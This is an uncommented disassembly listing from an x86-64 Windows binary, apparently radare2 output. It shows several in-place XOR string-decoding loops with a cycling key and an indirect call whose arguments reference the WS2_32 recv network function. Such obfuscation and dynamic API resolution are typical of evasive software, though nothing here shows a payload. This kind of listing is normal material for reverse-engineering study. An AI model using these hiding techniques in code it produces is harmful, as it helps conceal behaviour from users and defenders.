mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14001f2b3
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor al, 0x33
mov byte [rbx + 2], al
lea rdx, [rbp + 0x58]
call fcn.14001f650
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14001f423
cmp r14d, 2
jl 0x14001f3dd
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14001f2f0
jmp 0x14001f423
mov r9, r10
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001f3f0
mov rcx, r10
call fcn.140001840
mov dword [rsp + 0x48], 1
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], 0x32
mov qword [rsp + 0x20], rsi
mov r9d, recv
mov r8, rbx
mov edx, r15d
xor ecx, ecx
call rax
mov ecx, 1
call fcn.14003fd10
nop
lea rcx, [rbp + 0x78]
call fcn.140003760
mov edx, eax
lea rcx, [rbp - 0x80]
call fcn.140003770
mov rbx, rax
lea rdx, [rsp + 0x60]
call fcn.14001f780
mov r9, rax
cmp byte [rax + 0xc], 0
je 0x14001f5b1
cmp r14d, 2
jl 0x14001f57c
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm7, xmm0
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd eax, xmm10
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [r9]
xorps xmm7, xmm0
movd dword [r9], xmm7
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm8
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
mov edi, 8
movsxd r8, edi
add r8, r9
mov eax, 0xa0a0a0a1
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, dil
sub al, dl
add al, 0x31
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xd
jl 0x14001f582
mov rdx, r9
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov rcx, rax
mov rdx, rbx
call fcn.140025fd0
mov rcx, rax
call fcn.1400224c0
nop
lea rcx, [rbp - 0x80]
call fcn.140022a20
nop
lea rcx, [rbp + 0x78]
call fcn.14000c6f0
mov ecx, 1
call fcn.14003fd10
int3